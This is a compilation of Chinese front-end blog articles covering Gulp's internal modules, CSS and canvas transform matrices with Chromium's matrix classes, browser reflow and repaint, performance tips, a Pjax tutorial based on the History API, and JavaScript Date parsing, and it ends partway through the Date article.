Liftoff模块解决的问题是全局安装一个CLI工具，但支持多个项目多个配置文件，并且当前目录没有配置文件时，可以就近向上级目录找到已有的配置文件，或者在项目目录外执行命令行时可以指定配置文件的目录。所以Gulp基于liftoff可以实现，多个项目多个Gulpfile，并且可以执行gulp时指定配置文件路径。


Through2是为Node的streams2.Transform的小型封装，来避免subclassing的烦恼。可以更简单的通过一个函数来创建一个流，而不用再繁琐的设置原型链的_transform，_flush，以及再扩充的Transform类中调用构造函数，以便缓冲设定能够正确初始化。


Vinyl是用来描述文件的一个非常简单的元信息对象，Vinyl对象有两个主要的属性：path和content。因为一个文件不仅可能是你硬盘上的一些内容，还可能是你托管在S3，FTP，甚至DropBox上的一些内容，所以Vinyl可以描述所有这些来源的文件。它提供了一种简洁的描述文件的方式，但如果你需要访问本地文件系统上的一个文件，还需要通过一个所谓的Vinyl Adapter，它会暴漏一些方法：如.src(globs)，.dest(folder)，和watch(globs, fn)。globs是路径模式匹配。


Orchestrator其实是一个基于Node的模块，负责任务依赖关系定义，处理和执行，很像我们目前所用的AMD模块加载器，而且默认是最大限度的并行加载的方式。


事实上，gulp中的任务运行系统并不是自己实现的，而是直接使用了orchestrator。在gulp的源代码中可以发现，gulp继承了orchestrator，而gulp.task仅仅只是orchestrator.add的别名而已：


//gulp source code
var util = require('util');
var Orchestrator = require('orchestrator');

function Gulp() {
  Orchestrator.call(this);
}
util.inherits(Gulp, Orchestrator);

Gulp.prototype.task = Gulp.prototype.add;



11. Gulp的API



	gulp.task

	gulp.run

	gulp.watch

	gulp.src

	gulp.dest



gulp.task


在orchestrator中，解决上述任务依赖的方式有三种：



	在任务定义的function中返回一个数据流，当该数据流的end事件触发时，任务结束。

	在任务定义的function中返回一个promise对象，当该promise对象resolve时，任务结束。

	在任务定义的function中传入callback变量，当callback()执行时，任务结束。



Gulp脚本中可以使用这三种方法来实现任务依赖，不过由于Gulp中的任务大多是数据流操作，因此以第一种方法为主。


12. Gulp的插件开发


所有的Gulp.js插件基本都是through（后面不再使用transform这个词）streams，即是消费者（接收gulp.src()传递出来的数据，然后进行处理加工处理），又是生产者（将加工后的数据传递出去）。Gulp.js的使用和插件的开发都很简单，当然里面还有很多细节，抛砖引玉，具体请看Gulp.js的官方文档。


 前端中的变换矩阵

作者：Humphry

来源： 前端中的变换矩阵



                    
在一票教你如何制作立方体的教程之后，在张鑫旭生动的类比讲解12之后，我还想重提一次前端中的变换矩阵——它被挖掘得远远不够。
本文里，让我们从W3C标准和浏览器等新角度来重新理解变换矩阵。

变换矩阵的综合应用

在开始前，我们不妨看动画库bouncejs来热身一下。

一个动画如果要给人带来愉悦、动人甚至是惊艳的感觉，它首先要足够贴近我们的经验，否则我们理解不了动画过程；其次，它还要有充沛的细节，否则会显得单调乏味。
bouncejs这个库就同时做到了这两点。



我们知道CSS3中的时间函数其实是非常残缺的，它最复杂也不过是生成一个有四个参数的三次贝塞尔曲线，还远远不够我们对于动画细腻程度的追求。如果细窥bouncejs的实现，我们会发现它用到了线性的时间函数，而在keyframes中表达动画细节，用到了一大堆matrix3d：

@keyframes animation{
    /* ... */
    21.32% { transform: matrix3d(2.196, 0, 0, 0, 0, 2.069, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1); }
    24.32% { transform: matrix3d(2.151, 0, 0, 0, 0, 1.96, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1); }
    /* ... */
}

如何实现：我们想要的动画中的回弹、硬直等效果如何拆解为这些matrix3d的呢？
背后机制：这些matrix3d是如何组合成我们想要的动画效果的呢？

变换矩阵的用法

先来看看变换矩阵在各处的表现形式吧。

CSS中的变换矩阵

也许是我们第一次接触变换矩阵的地方。

.selector {
    transform: matrix(a, b, c, d, e, f);
    transform: matrix3d(m11, m12, m13, m14, m21, m22, m23, m24, m31, m32, m33, m34, m41, m42, m43, m44);
}

SVG中的变换矩阵

SVG作为可缩放矢量图形，它局限于2D坐标中，因此它只有二维变换：

<g transform="matrix(a, b, c, d, e, f)"></g>

注意，由于SVG没有transform-origin属性，因此需要自己用translate来模拟。
可参考:

DEMO #1
SVG相对中心翻转和相对中心旋转的实现
实现方式：三个transform的嵌套。




CANVAS中的变换矩阵

首先是2d Context中的变换矩阵。

var context = canvas.getContext("2d");
context.transform() /*与之前的矩阵值累乘*/
context.setTransform() /*不与之前的矩阵值累乘*/

它跟SVGMatrix接口一样，因此也不支持transform-origin，需要用translate模拟。
可参考:

DEMO #2
Canvas相对中心翻转和相对中心旋转的实现
实现方式：三个transform的嵌套。




IE中的filter变换矩阵

一个遗留的接口，不做多介绍。
可见：张鑫旭：IE矩阵滤镜Matrix旋转与缩放及结合transform的拓展。

JS中的变换矩阵

DOM接口

我们可以用getComputedStyle来获取到相应的transform参数，获得的值是一个字符串。

window.getComputedStyle(dom).transform
window.getComputedStyle(dom).webkitTransform

矩阵包装器

webkit浏览器和IE曾经支持私有的包装器（WebkitCSSMatrix和MSCSSMatrix），可以在得到字符串以后协助我们做一些矩阵运算,但目前已被浏览器废弃。
我们可以自己实现一个类似的包装器，可参考github: CSSMatrix。
此外，在THREE.JS中也存在包装器THREE.Matrix4。

数学中的变换矩阵

变换矩阵的实质为一组线性变换的系数矩阵。变换的目标为坐标。
系数矩阵的应用方式，在于其用于左乘点向量的齐次坐标。
当算出的齐次坐标值不为1的时候，需要完成齐次除法 homogeneous divide，使得第四个值为1，以算出最终的坐标值。

计算过程如下图：



最后，一个变换矩阵不仅仅是描述坐标点变换，其实也描述了坐标系变换（基变换）。

变换矩阵的乘法

需要注意的是，变换矩阵的乘法是不符合乘法交换律的。可参考：

DEMO #3
重新排序变换矩阵/函数。
测试方法：改变上方或下方的transform中的rotateY和rotateX的顺序，比较他们的矩阵和显示效果

可见，交换律是不符合的。



一些特殊情况下，矩阵A乘以矩阵B正好等于矩阵B乘以矩阵A。

常规的例子是单位矩阵E左乘或右乘A，都将得到A。
一个很简单的理解：单位矩阵其实代表了x'=x、y'=y...的方程组的系数矩阵。

变换矩阵的局限性

再怎么变换，变换矩阵都是一个线性变换，无法将直线变成曲线。所以鱼眼之类的效果不能简单的用变换矩阵来完成。

标准中的变换矩阵

影响变换矩阵的属性

变换中心点：transform-origin


上文已有DEMO实例。变换中心点功能是由变换矩阵左乘坐标位移矩阵P，和右乘坐标位移矩阵的逆矩阵P-1，来影响结果的：



变换透视：perspective、perspective-origin


从CSSTricks里面借一张图：



上图中眼睛位置相关的三个坐标可以借由这些属性调整：


	p：perspective


	眼睛的x和y：perspective-origin




父子坐标系共享：transform-style




变换：transform


2d


	translate


	scale


	rotate


	skew


	matrix




3d


	translate3d


	scale3d


	rotate3d


	perspective


	matrix3d




如何算得最终变换矩阵


	
计算变换矩阵


	从单位矩阵开始


	乘以transform-origin的坐标系变换矩阵


	按照声明顺序，乘以每一个transform function其对应矩阵


	乘以transform-origin的逆坐标系变换矩阵






	
计算累计变换矩阵


	对于该元素和3D渲染上下文根元素的每一个包含块，从单位矩阵开始


	乘以其包含块上的perspective矩阵


	乘以当前块相对其包含块的水平、垂直位移矩阵






	将累积变换矩阵乘以变换矩阵，得到最终变换矩阵




变换矩阵的动画

平常动画过程中，有两个概念：


	Timing function 时间函数：由时间函数f得到插值比例。
t=f(tNow, tTotal)
tNow：经过时间
tTotal：总时间


	Interpolation：插值函数：由插值函数g得到最终的值。(多半是线性插值)
s=g(t, xStart, xEnd)
t：插值比例
xStart：开始值
xEnd：结束值




对于变换矩阵，会采用线性的插值方式吗？请参考：

DEMO #4
矩阵的插值实验
实验方式：左边为用js实现的线性插值，右边为用animation实现的方法，起止皆为matrix。
测试方法：点击“combine”，然后再点击“play”。

可以由轮廓的不重合之处发现，线性的插值是不准确的插值方式。



根据标准，矩阵插值的方式是这样的：


	
Decomposing：将矩阵分解为多个子变换，并求得对应的向量。


	perspective


	translate


	quaternion（四元数）


	skew


	scale






	
分别对各个子变换进行插值计算


	四元数向量的插值方法为球面线性插值spherical linear interpolation


	其它的子变换都通过简单的线性插值计算






	
Recomposing：插值结束以后，将各个子矩阵按顺序相乘，得到最终的矩阵。


	单位矩阵


	乘以perspective matrix


	乘以translation matrix


	乘以rotation matrix


	乘以skew matrix


	乘以scale matrix








浏览器中的变换矩阵

benchmark: transform matrix和transform function哪个更快

to be continued

Chrome中的变换矩阵

了解了数学中的相关概念，我们即可参考源码中变换矩阵的实现方式了。

SK_API::SkMatrix44

包含了对矩阵本身的定义、矩阵相关的数据类型和矩阵的基础计算。
这个类是矩阵相关的最基础的4*4的矩阵数据结构。

源码：


	SkMatrix44.h


	SkMatrix44.cpp




包含：


	一个SkMScalar类，根据编译选项可用于表示float或double；


	set*()为设置当前矩阵为某变换对应的矩阵，而pre*()和post*()则为在某项变换之后或之前的变换操作，也可以理解为某个变换矩阵的左乘或右乘；


	determinant()为求矩阵的行列式；


	invert()求逆矩阵；


	transpose()转置矩阵；


	
computeTypeMask()方法展示了如何通过计算得到一个变换矩阵是否包含如下变换：


	位移：translate


	伸缩：scale


	仿射：affine，包含旋转 rotate 和斜切 skew


	透视：perspective








gfx::transform

这个类映射到CSS中的transform声明。

源码：


	transform.h


	transform.cc




包含：


	2d、3d的构造函数、拷贝构造函数、一些运算符重载


	针对CSS中的各类声明方式，得到对应的变换。包括但不限于：
Translate();
Translate3d();
Scale();
Scale3d();
RotateAboutXAxis();
RotateAbout();


	应用透视 perspective
ApplyPerspectiveDepth()


	左乘和右乘
PreconcatTransform();
ConcatTransform();


	对矩阵性质的判断
IsScale2d()
IsApproximatelyIdentityOrTranslation()


	其他矩阵操作，如转置和得到逆变换
GetInverse()
Transpose();


	矩阵插值操作
Blend()




gfx::transform_util

包含变换相关的一些数学计算功能、除了矩阵以外的数据类型定义。

源码：


	transform_util.h


	transform_util.cc




包含：


	点类Point和矩形类Rect


	
DecomposedTransform矩阵插值过程中的类，包含各个变换相关的特征值向量：


	位移向量：translate[3]


	缩放向量：scale[3]


	斜切向量：skew[3]


	透视向量：perspective[4]


	四元数向量：quaternion[4]，用于旋转。不用常规的三变量表示方法是为了避免欧拉锁问题。






	
一些辅助方法


	由矩阵拆解为DecomposedTransform的方法DecomposeTransform()


	方法BlendDecomposedTransforms()，由DecomposeTransform参与的插值方法


	方法Slerp()，用于四元数的球面插值方法


	得到三元向量的长度Length3()


	向量点乘Dot()


	将矩阵归一化Normalize()


	应用变换中心的方法TransformAboutPivot









 [译]有关网页渲染，每个前端开发者都该知道的那点事

作者：OneAPM蓝海讯通

来源： [译]有关网页渲染，每个前端开发者都该知道的那点事



                    
其实，有关网页渲染的文章很多，但是相关信息比较分散，且论述并不是很完整。如果要想对这个主题有个大致的了解，我们还得学习很多知识。因此，Web 开发者 Alexander Skutin 决定写一篇文章。他相信，这篇文章不仅能帮助初学者，也能对那些想要刷新知识结构的高级前端开发者有所裨益。


原文地址


译文如下


网页渲染必须在很早的阶段进行，可以早到页面布局刚刚定型。因为样式和脚本都会对网页渲染产生关键性的影响。所以专业开发者必须了解一些技巧，从而避免在实践的过程中遇到性能问题。


这篇文章不会研究浏览器内部的详细机制，而是提出一些通用的规则。毕竟，不同浏览器引擎的工作机制各不相同，这无疑会让开发者对浏览器特性的研究变得更加复杂。


浏览器是如何完成网页渲染？


首先，我们回顾一下网页渲染时，浏览器的动作：



	根据来自服务器端的 HTML 代码形成文档对象模型（DOM）

	加载并解析样式，形成 CSS 对象模型。

	在文档对象模型和 CSS 对象模型之上，创建一棵由一组待生成渲染的对象组成的渲染树（在 Webkit 中这些对象被称为渲染器或渲染对象，而在 Gecko 中称之为“frame”。）渲染树反映了文档对象模型的结构，但是不包含诸如 <head> 标签或含有display:none属性的不可见元素。在渲染树中，每一段文本字符串都表现为独立的渲染器。每一个渲染对象都包含与之对应的 DOM 对象，或者文本块，还加上计算过的样式。换言之，渲染树是一个文档对象模型的直观展示。

	对渲染树上的每个元素，计算它的坐标，称之为布局。浏览器采用一种流方法，布局一个元素只需通过一次，但是表格元素需要通过多次。

	最后，渲染树上的元素最终展示在浏览器里，这一过程称为“painting”。



当用户与网页交互，或者脚本程序改动修改网页时，前文提到的一些操作将会重复执行，因为网页的内在结构已经发生了改变。


重绘


当改变那些不会影响元素在网页中的位置的元素样式时，譬如 background-color (背景色)， border-color (边框色)， visibility (可见性)，浏览器只会用新的样式将元素重绘一次(这就是重绘，或者说重新构造样式)。


重排


当改变影响到文本内容或结构，或者元素位置时，重排或者说重新布局就会发生。这些改变通常由以下事件触发：



	DOM 操作（元素添加，删除，修改，或者元素顺序的改变）;

	内容变化，包括表单域内的文本改变;

	CSS 属性的计算或改变;

	添加或删除样式表;

	更改“类”的属性;

	浏览器窗口的操作（缩放，滚动）;

	伪类激活（：悬停）。



浏览器如何优化渲染？


浏览器尽可能将重绘/重构 限制在被改变元素的区域内。比如，对于位置固定或绝对的元素，其大小改变只影响元素本身及其子元素，然而，静态定位元素的大小改变会触发后续所有元素的重流。


另一种优化技巧是，在运行几段 JavaScript 代码时，浏览器会缓存这些改变，在代码运行完毕后再将这些改变经一次通过加以应用。举个例子，下面这段代码只会触发一个重构和重绘：


var $body = $('body');
$body.css('padding', '1px'); // reflow, repaint
$body.css('color', 'red'); // repaint
$body.css('margin', '2px'); // reflow, repaint
// only 1 reflow and repaint will actually happen



然而，如前所述，改变元素的属性会触发强制性的重排。如果我们在上面的代码块中加入一行代码，用来访问元素的属性，就会发生这种现象。


var $body = $('body');
$body.css('padding', '1px');
$body.css('padding'); // reading a property, a forced   reflow
$body.css('color', 'red');
$body.css('margin', '2px');



其结果就是，重排发生了两次。因此，你应该把访问元素属性的操作都组织在一起，从而优化网页性能。（你可以在JSBin查到更为详细的例子）


有时，你必须触发一个强制性重排。比如，我们必须将同样的属性(比如左边距)两次赋值给同一个元素。起初，它应该设置为 100px，且不带动效。接着，它必须通过过渡 (transition) 动效改变为 50px。你现在可以在 JSbin 上学习这个例子，不过我会在这儿更详细地介绍它。


首先，我们创建一个带过渡效果的 CSS 类：


.has-transition {
 -webkit-transition: margin-left 1s ease-out;
     -moz-transition: margin-left 1s ease-out;
       -o-transition: margin-left 1s ease-out;
          transition: margin-left 1s ease-out;
}



然后继续执行：


// our element that has a "has-transition" class by default
var $targetElem = $('#targetElemId');

// remove the transition class
$targetElem.removeClass('has-transition');

// change the property expecting the transition to be   off, as the class is not there
// anymore
$targetElem.css('margin-left', 100);

// put the transition class back
$targetElem.addClass('has-transition');

// change the property
$targetElem.css('margin-left', 50);



然而，这个执行无法奏效。所有改变都被缓存，只在代码块末尾加以执行。我们需要的是强制性的重排，我们可以通过以下更改加以实现：


// remove the transition class
$(this).removeClass('has-transition');

// change the property
$(this).css('margin-left', 100);

// trigger a forced reflow, so that changes in a    class/property get applied immediately
$(this)[0].offsetHeight; // an example, other   properties would work, too

// put the transition class back
$(this).addClass('has-transition');

// change the property
$(this).css('margin-left', 50);



现在代码如预期那样执行了。


有关性能优化的实际建议


总结现有的资料，我提出以下建议：



	创建有效的 HTML 和 CSS 文件，不要忘记指明文档的编码方式。样式应该包含在
<head>标签内，脚本代码则应该加在 <body> 标签末端。

	
尽量简化和优化 CSS 选择器（这种优化方式几乎被使用 CSS 预处理器的开发者统一忽视了）将嵌套程度保持在最低水平。以下是 CSS 选择器的性能排名（从最快者开始）



	识别器:#id

	类:.class

	标签：div

	相邻兄弟选择器：a + i

	父类选择器：ul> li

	通用选择器：*

	属性选择：input[type="text"]

	伪类和伪元素：a:hover







你应该记住，浏览器在处理选择器时依照从右到左的原则，因此最右端的选择器应该是最快的：#id 或则 .class：


div * {...} // bad
.list li {...} // bad
.list-item {...} // good
#list .list-item {...} // good




	在你的脚本代码中，尽可能减少 DOM 操作。缓存所有东西，包括元素属性以及对象（如果它们被重用的话）。当进行复杂的操作时，使用“孤立”元素会更好，之后可以将其加到 DOM 中（所谓“孤立”元素是与 DOM 脱离，仅保存在内存中的元素）。

	如果你使用 jQuery 来选择元素，请遵从 jQuery 选择器最佳实践方案。

	为了改变元素的样式，修改“类”的属性是奏效的方法之一。执行这一改变时，处在 DOM 渲染树的位置越深越好（这还有助于将逻辑与表象脱离）。

	尽量只给位置绝对或者固定的元素添加动画效果。

	在使用滚动时禁用复杂的悬停动效（比如，在<body>中添加一个额外的不悬停类）。读者可以阅读关于这个问题的一篇文章。



想了解更多的细节问题，大家也可以看看这两篇文章：



	How browsers work？

	Rendering: repaint, reflow/relayout, restyle



本文系 OneAPM 工程师编译整理。想阅读更多技术文章，请访问 OneAPM 官方技术博客。


 前端性能优化方案索引

作者：HaoyCn

来源： 前端性能优化方案索引



                    
前端性能优化方案索引

陆续整理和不断更新网络上给出的前端性能的优化方案。

这里只是做一个总概括式的索引，每一个方案都十分值得推敲和细说。

1 请求和响应

缓存控制

请求头里，可以发送 If-Modified-Since 以及 If-None-Match 等信息，来询问服务端请求内容是否有更新，如果没有更新，可返回304，告诉浏览器使用缓存，避免重新下载资源。Pragma 和 Cache-Control 等也能控制缓存。如告诉服务端不要缓存等。

响应头里，Expires 可以告诉浏览器过期时间，Last-Modified 最近更新时间，ETag 则可允许浏览器进行缓存验证（在 If-None-Match 请求信息中使用）。

复用TCP

请求头里，Connection 可控制 TCP 通道的使用，使用 keep-alive 可以复用上次打开的 TCP。

GZIP压缩

如果可以启用 gzip 压缩，将减少响应数据大小，加快响应。请求头里面可用 Accept-Encoding 告知浏览器支持的压缩方式，而服务端则用 Content-Encoding 作为回应。

Cookies

发送请求时，cookies 也在请求之中。因此，cookies 也可以作为减少请求的优化对象。如，根据同源限制策略，可以使用多个域名加载资源，如加载静态资源，就不会发送多余的 cookies；同时，合理设置 cookies 的路径和域名，如在子站避免不必要的来自父站的 cookies。

减少HTTP请求

有很多细节可以实现，比如CSS Sprites、Data URL等等，由于此部分内容和下述内容有所重复，故部分细节在下面会讲到。

多域名分发

同域下浏览器能并发的请求有限，而为了增加并发，尤其是一些静态资源上，可以使用多个域名。但由于域名DNS解析本身也是耗时的，所以实践原则是2-4个为宜。

需要额外提醒的是，加载图像资源的时候，并发没有问题；但在加载 JavaScript 脚本的时候，还是会暂停加载其他资源。

使用CDN

根据用户能访问的最快位置加速访问。

避免重定向和404

重定向和404将浪费加载请求。

favicon.ico

浏览器默认加载的资源，最好能够缓存之。

2 HTML

减少DOM

过多的DOM元素会影响渲染、加载、执行。除了精简页面结构外，还可以适时删除不必要的DOM元素（页面内已经不会再访问的元素），又或者可以懒加载（不一定会使用到的元素，如登录框）。

CSS 和 JavaScript 文件位置

CSS 放 head，JavaScript 放 body 闭标签前。乃是因为：


	样式表不参与 DOM 修改，所以不会为了解析样式停止文档解析


	浏览器要避免重绘，在没有拿到全部样式前不会开始渲染


	解析样式时，有的浏览器（FF）会停止脚本运行，而有的（Webkit）则会在脚本访问样式属性但可能受未加载样式影响时停止脚本运行


	脚本解析中可能请求样式，如果样式还未解析完毕就会出错


	脚本执行将暂停文档的解析和资源的下载




因此，将二者放在适当的位置，能够极大提高渲染效率。

脚本延迟加载

可将脚本添加 defer 和 async 属性。两个属性的共通点在于，脚本的加载和文档的解析是同步进行的，而区别在于：async 一旦加载完毕，立即停止文档解析并执行脚本；defer 等待文档解析完毕后再执行。

合理使用内联

脚本和样式，应按需选择内联或者外链。对于访问少、样式和脚本复用少的页面，可以考虑使用内联样式从而减少 HTTP 请求。但如果页面访问频繁，样式脚本在多个页面经常复用，使用外链则是最优选择。

无论如何，需要避免使用 @import 来导入样式。

而图像也是一样，高级浏览器支持将图像数据直接 base64 编码在 src 属性里，必要时可直接在 HTML 里输出图片数据。

减少iframe

iframe 本身有许多优点，比如可以并行下载脚本，适合加载慢内容（如广告），同时浏览器可以对其进行安全控制。

减少使用 iframe 的主要考虑是：iframe 会阻碍页面加载，同时也没有语义。

3 CSS

选择器

选择器效率排行如下：


	ID选择器


	类选择器


	标签选择器


	相邻选择器


	子选择器


	后代选择器


	通配符选择器


	属性选择器


	伪类选择器




效率与优先级并不是对等关系，优先级高的不一定效率高。如 #id.class 合用比 单个 #id 的优先级高，但效率却比值慢。

选择器书写建议是：


	避免使用通配符


	不使用标签名或类名修饰ID规则：如果规则使用ID选择器作为关键选择器，不要给规则添加标签名。因为ID本身就是唯一的，添加标签名会不必要地降低匹配效率


	不使用标签名修饰类：相较于标签，类更具独特性


	尽量选择最具体的方式：造成低效的最简单粗暴的原因就是在标签上使用太多规则。给元素添加类可以更快细分到类方式，可以减少规则去匹配标签的时间


	关于后代选择器和子选择器：避免使用后代选择器，非要用的话建议用子选择器代替，但子选择器也要慎用，标签规则永远不要包含子选择器


	利用可继承性：没必要在一般内容上声明样式




避免滤镜、表达式、Hack

效率低。

Sprites

合并图片可减少 HTTP 请求。其他建议有：


	Sprite 中水平排列图片，垂直排列会增加文件大小


	Sprite 中把颜色较近的组合在一起可以降低颜色数，理想状况是低于256色以便适用PNG8格式


	不要在Spirite的图像中间留有较大空隙。这虽然不大会增加文件大小,但对于用户代理来说它需要更少的内存来把图片解压为像素地图。100×100的图片为1万像素，1000×1000就是100万像素




使用3D动画

使用 transform: translate3d 等可加速 GPU 渲染。

4 JavaScript

避免重排

渲染中可能存在的高成本操作：


	修改、增加、删除DOM节点


	移动DOM位置或者动画效果


	CSS样式修改（重绘比重排好些）


	调整窗口大小，或者滚动时有绝对定位、fixed 背景以及动画


	修改页面默认字体




浏览器一般会缓存Render Tree的更新渲染，但以下情况除外：


	调整窗口大小和修改页面默认字体


	client/offset/scroll


	getComputedStyle() currentStyle




优化建议：


	修改 className 而非 style


	离线 DOM 后修改，如 documentFragment 或者 display:none 后再调整样式


	缓存属性值


	动画使用 absolute/fixed


	不使用 table 布局（牵一发动全身）


	修改层级比较低的 DOM




事件委托

将多个节点上的事件放到其父节点（经典案例：将 li 上的事件绑定到 ul 上）。

内存管理

合理释放和缓存内存。如缓存复用的属性，接触对象引用等。

5 资源

压缩大小

压缩样式、脚本、图像等资源的大小。

针对图像资源，可从预览小图、格式选择等多角度优化。

懒加载

如图像的懒加载（滚动到显示区域后才加载）等。

预加载

针对之后会用到的资源提前加载。

5 客户端

localStorage 缓存

相比 cookies，localStorage 存储容量更大。可以将一些静态资源（如 jQuery库）等缓存。


 前端：将网站打造成单页面应用SPA（一）

作者：Coffce

来源： 前端：将网站打造成单页面应用SPA（一）



                    
前言


不知你有没有发现，像Github、百度、微博等这些大站，已经不再使用普通的a标签做跳转了。他们大多使用Ajax请求替代了a标签的默认跳转，然后使用HTML5的新API修改了Url，你可以在F12的Network面板里发现这个秘密。


这项技术并没有特别标准的学名，大家都称呼为Pjax，意为PushState + Ajax。这并不完全准确，因为还有Hash + Ajax等方法，但为了方便，我们下文还是统称为Pjax。


为什么要这么做？


Pjax是一个优秀的解决方案，你有足够多的理由来使用它：



	可以在页面切换间平滑过渡，增加Loading动画。

	可以在各个页面间传递数据，不依赖URL。

	可以选择性的保留状态，如音乐网站，切换页面时不会停止播放歌曲。

	所有的标签都可以用来跳转，不仅仅是a标签。

	避免了公共JS的反复执行，如无需在各个页面打开时都判断是否登录过等等。

	减少了请求体积，节省流量，加快页面响应速度。

	平滑降级到低版本浏览器上，对SEO也不会有影响。



原理呢？


Pjax的原理十分简单。

1. 拦截a标签的默认跳转动作。

2. 使用Ajax请求新页面。

3. 将返回的Html替换到页面中。

4. 使用HTML5的History API或者Url的Hash修改Url。


HTML5 History API


我们来看看HTML5在History里增加了什么：


history.pushState(state, title, url)


pushState方法会将当前的url添加到历史记录中，然后修改当前url为新url。请注意，这个方法只会修改地址栏的Url显示，但并不会发出任何请求。我们正是基于此特性来实现Pjax。它有3个参数：



	state: 可以放任意你想放的数据，它将附加到新url上，作为该页面信息的一个补充。

	title: 顾名思义，就是document.title。不过这个参数目前并无作用，浏览器目前会选择忽略它。

	url: 新url，也就是你要显示在地址栏上的url。



history.replaceState(state, title, url)


replaceState方法与pushState大同小异，区别只在于pushState会将当前url添加到历史记录，之后再修改url，而replaceState只是修改url，不添加历史记录。


window.onpopstate 事件

一般来说，每当url变动时，popstate事件都会被触发。但若是调用pushState来修改url，该事件则不会触发，因此，我们可以把它用作浏览器的前进后退事件。该事件有一个参数，就是上文pushState方法的第一个参数state。


一个实例：


这里我们以daipig为例，打开daipig，地址栏是http://www.daipig.com 。接下来打开F12 Console，输入：


history.pushState({ a: 1, b: 2 }, null, "http://www.daipig.com/abcdefg");



可以发现，url已经变成我们输入的url了，但页面并没有刷新，也没有发出任何请求。现在再输入history.state，就可以看到我们刚刚传过来的第一个参数state了。


这时点击后退，url会回到www.daipig.com，同样是没有刷新。只不过后退的时候其实是触发了window.onpopstate事件的。


详细文档可以查阅MDN： https://developer.mozilla.org/zh-CN/docs/DOM/Manipulating_the_browser_...


怎么完整的实现Pjax？


Pjax的原理上文已经讲了，并不复杂。我实现了一个比较粗糙的Pjax库，已经能满足不少需求，如果你有兴趣，可以上Github帮忙完善一下代码。地址是：https://github.com/Coffcer/coffce-pjax 。


完整的代码见Github，这里我们只谈需要注意的一些地方。


匹配选择器


要实现Pjax，难免就会有匹配选择器的需求。你需要判断当前点击的元素，是否匹配指定选择器。这里我给出一个兼容至IE8的解决方法：


// 判断element是否匹配选择器selector
function matchSelector(element, selector) {
    var match = 
        document.documentElement.webkitMatchesSelector || 
        document.documentElement.mozMatchesSelector || 
        document.documentElement.msMatchesSelector ||
        // 兼容IE8及以下浏览器
        function(selector, element) {
            // 这是一个好方法，可惜IE8连indexOf都不支持
            // return Array.prototype.indexOf.call(document.querySelectorAll(selector), this) !== -1;

            if (element.tagName === selector.toUpperCase()) return true;

            var elements = document.querySelectorAll(selector),
            length = elements.length;

            while (length--) {
            if (elements[length] === this) return true;
            }

            return false;
        };

    // 重写函数自身，使用闭包keep住match函数，不用每次都判断兼容
    matchSelector = function(element, selector) {
        return match.call(element, selector);
    };

    return matchSelector(element, selector);
}



// 验证一下
matchSelector(document.getElementById("abc"), "#abc"); // true
matchSelector(document.querySelector("a"), "p"); // false



在现代浏览器上，优先使用原生的matchesSelector方法来判断，在IE8及以下的浏览器里，循环document.querySelector的结果集，依次对比。


这个方法利用了闭包，然后重写自身，只有在第一次调用时需要判断加哪个前缀执行哪个方法，其后都是调用了闭包的match函数。


不支持HTML5 PushState的浏览器怎么办？


IE6到IE9是不支持pushState的，要修改Url，只能利用Url的Hash，也即是#号。


你可以随意找个网站试一下，在url后面加上#号和任意内容，页面并不会刷新。此时点击后退也只会回到上一条#号，同样不会刷新。


那么我们只需把pushState(新url)换成localtion.hash = 新url，把onpopstate事件换成onhashchange事件就可以兼容IE了。

QQ音乐，网易云音乐等就是使用这种方式。


现成的库


我简单实现了一个比较粗糙的Pjax库，地址是：https://github.com/Coffcer/coffce-pjax ，欢迎PR和Star。


 JS原生Date类型方法的一些冷知识

作者：chitanda

来源： JS原生Date类型方法的一些冷知识



                    
一个多月没更新了- -偷懒中。这个东西其实很早之前就在整理了，不过后来发现自己不少地方没弄明白，然后就一直卡那边了（其实就是不想写吧），想了下反正是给自己熟悉js的原生API而已，所以也没必要太钻牛角尖，也不一定要多完整，因此就当是Date()函数的一个冷门知识点小补充吧。这篇文章主要讲Date()的字符串与时间戳转换以及用户时间本地化,可能内容上比较乱（不然也不会卡我一个月时间了），见谅

ps：由于Date()是js原生函数，不同浏览器的解析器对其实现方式并不同，所以返回值也会有所区别。本文测试未特别申明浏览器的情况下，均是指win7 x64+chrome 44.0.2403.155 (正式版本) m （32 位）版本

Date()与new Date()的区别

Date()直接返回当前时间字符串，不管参数是number还是任何string

Date();
Date('sssss');
Date(1000);
//Fri Aug 21 2015 15:46:21 GMT+0800 (中国标准时间)

而new Date()则是会根据参数来返回对应的值，无参数的时候，返回当前时间的字符串形式；有参数的时候返回参数所对应时间的字符串。new Date()对参数不管是格式还是内容都要求,且只返回字符串,

new Date();
//Fri Aug 21 2015 15:51:55 GMT+0800 (中国标准时间)

new Date(1293879600000);
new Date('2011-01-01T11:00:00')
new Date('2011/01/01 11:00:00')
new Date(2011,0,1,11,0,0)
new Date('jan 01 2011,11 11:00:00')
new Date('Sat Jan 01 2011 11:00:00')
//Sat Jan 01 2011 11:00:00 GMT+0800 (中国标准时间)

new Date('sss');
new Date('2011/01/01T11:00:00');
new Date('2011-01-01-11:00:00')
new Date('1293879600000');
//Invalid Date

new Date('2011-01-01T11:00:00')-new Date('1992/02/11 12:00:12')
//596069988000

从上面几个测试结果可以很容易发现


	new Date()在参数正常的情况只会返回当前时间的字符串(且是当前时区的时间)


	new Date()在解析一个具体的时间的时候，对参数有较严格的格式要求，格式不正确的时候会直接返回Invalid Date，比如将number类的时间戳转换成string类的时候也会导致解析出错


	虽然new Date()的返回值是字符串，然而两个new Date()的结果字符串是可以直接相减的，结果为相差的毫秒数。




那么，new Date()能接受的参数格式到底是什么标准呢?（相对于严格要求的多参数传值方法。非严格的单参数(数字日期表示格式)更常用且更容易出错，所以下文只考虑单参数数字时间字符串转换的情况)



new Date()解析所支持的参数格式标准

时间戳格式

这个是最简单的也是最不容易出错的。当然唯一的缺点大概就是对开发者不直观，无法一眼看出具体日期。
需要注意的以下两点:


	js内的时间戳指的是当前时间到1970年1月1日00:00:00 UTC对应的毫秒数，和unix时间戳不是一个概念，后者表示秒数，差了1000倍


	new Date(timestamp)中的时间戳必须是number格式，string会返回Invalid Date。所以比如new Date('11111111')这种写法是错的






时间数字字符串格式

不大清楚这种该怎么描述，就是类似YYYY/MM/DD HH:mm:SS这种。下文以dateString代指。
new Date(dateString)所支持的字符串格式需要满足RFC2822标准或者ISO 8601标准
这两种标准对应的格式分别如下:

	
RFC2822 标准日期字符串

YYYY/MM/DD HH:MM:SS ± timezon(时区用4位数字表示)
// eg 1992/02/12 12:23:22+0800





